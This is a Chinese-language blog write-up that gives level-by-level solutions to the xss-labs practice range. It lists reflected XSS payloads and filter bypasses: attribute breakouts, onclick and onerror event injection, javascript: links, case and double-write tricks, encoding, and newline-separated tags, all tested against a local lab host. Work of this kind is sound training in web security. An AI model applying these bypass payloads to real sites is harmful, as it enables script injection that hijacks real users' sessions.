xss-labs
xss-labs
1 | 构造xss思路 |
第一关
反射型xss

第二关
过滤了<>
反射型xss

可以看到在<h2> </h2>标签之中的恶意代码被编码了。
其中<和>都被编码成了html字符实体。
猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。
1 | "><script>alert('xss')</script>// |
第三关
< > 被编码了 且 “ 也被编码了,因此上一关的方法用不了

'onclick='alert(1)
第四关

< > 被屏蔽了 或是 被编码了
同样用上题方法"onclick="alert(1)
第五关
1.应该是被htmlspecialchars()函数将<和>进行了编码处理
2.它在我们的恶意代码<script>中添加了一个_符号
发现不仅<script被替换了,on也被替换了
这意味着我们我们不能使用Script标签和on事件了
但是他并没有对<>进行过滤,因此我们使用a标签来构造payload
1 | **JavaScript 伪协议**(JavaScript pseudo-protocol)是一种特殊的 URL 格式,用于在网页中执行 JavaScript 代码。它通常以 “javascript:” 开头,后面跟随着 JavaScript 代码。 |
"><a href=javascript:alert(1)>1</a>
第六关
大小写
第七关
双写
第八关
发现双写不管用了,同时双引号也被实体化了,但是单引号没有,说明对过滤没有使用实体化函数,而是双引号被替换了
要想到十六进制或unicode编码

第九关
1 | 这里还用到了strpos()函数 |
第十关
发现他对t_sort传来的值过滤了<>
还记不记之前提的,过滤了<>就用on事件,但是这次并没有输入框啊
法一:?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
法二:前端开发者模式

第十一关

第十二关

第十三关

记得加 user
第十五关
?src='level1.php?name=<img src=1 onerror=alert(1)>'
第十六关
回车绕过法%A0
http://xss-labs:8082/level16.php?keyword=<img%0Asrc=1%0Aonerror=alert(1)>
- 标题: xss-labs
- 作者: r1ck9
- 创建于 : 2026-01-05 12:17:53
- 更新于 : 2026-08-13 10:14:48
- 链接: https://www.r1ck9.top/2026/01/05/xss-labs/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论